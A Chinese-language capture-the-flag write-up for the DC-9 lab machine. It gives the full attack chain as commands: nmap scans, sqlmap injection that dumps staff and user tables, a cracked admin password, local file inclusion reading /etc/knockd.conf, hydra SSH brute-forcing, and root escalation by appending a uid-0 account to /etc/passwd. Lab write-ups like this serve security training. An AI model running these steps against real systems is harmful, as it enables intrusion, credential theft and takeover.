DC-9
nmap -Pn 192.168.114.0/24

nmap -sV 192.168.114.152

22端口被过滤了。


四个页面,两个功能点,只是一个普通的网站,第二个页面列出了一些员工信息,第三个页面是一个搜索框,第四个页面是登录界面。

感觉跟数据库有点关系,对第二个页面的参数进行了fuzz,但是没有结果。


通过姓名可以搜到员工的相关信息。


可以断定注入点就在这里。

参数名是search。用sqlmap跑一下result.php页面,不是search页面。
sqlmap -u "http://192.168.114.152/results.php" -method=POST --data "search=1" -dbs

有两个数据库,Staff和users。
sqlmap -u "http://192.168.114.152/results.php" -method=POST --data "search=1" -D Staff -T StaffDetails --dump

sqlmap -u "http://192.168.114.152/results.php" -method=POST --data "search=1" -D Staff -T Users --dump

sqlmap -u "http://192.168.114.152/results.php" -method=POST --data "search=1" -D users -T UserDetails --dump

通过对这两个数据库的检测,得到了很多有用的信息,其中有员工的账号和密码,还有管理员的密码(经过了hash加密,有点像MD5)。拿去MD5解密得到transorbital1。

登录成功。注意这几个词,应该是本地文件包含。
对参数进行fuzz。

多返回几级目录,不然可能读不到根目录。

现在取认参数名位file。
好了无从下手了,看看作者给的文章。这篇文章说了一个knockd.conf这个文件,搜了一下,看到了这篇文章
ssh登录时,通过访问特定端口来敲门,之后ssh才会开启。而这些信息都在/etc/knockd.conf里面,而恰好现在就可以进行本地文件包含。

开门端口为7469,8475,9842。

可以看到,敲门之后22端口就开了,再通过之前得到的员工信息进行远程登陆。
结果没登成功,这个用户和密码不是一一对应的。
将用户名和密码分别保存为user.txt和passwd.txt
hydra -L user.txt -P passwd.txt 192.168.114.152 ssh


登录成功。

chandlerb什么都没有,换一个。

joeyt也是什么都没有。来看最后一个。

较前两个,这个多了这一条信息。

得到了一些密码。感觉还是和ssh登录有关,把得到的再加到原来的passwd.txt里面进行爆破。

又得到了一个用户。

fredf这个用户可以以root权限运行这个命令。

看到一个python文件。
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
代码首先检查命令行参数的数量是否为3,如果不是,则输出使用说明并退出程序。如果参数数量正确,它将打开要读取的文件和要写入的文件,并将文件的内容读取到内存中,然后将内容写入到要写入的文件中。
但是不知道有什么用,然后又去看了看文章。文章的意思是通过test命令在/etc/passwd中追加一个用户信息,并且是root权限。
用openssl生成加密用户。openssl -1 -salt block block
openssl passwd 手动生成密码——passwd提权

echo 'block:$1$block$rmzomD66vFos4pbl5yb5z1:0:0::/root:/bin/bash' >> /tmp/exp
sudo ./test /tmp/exp /etc/passwd


提权成功。


浙公网安备 33010602011771号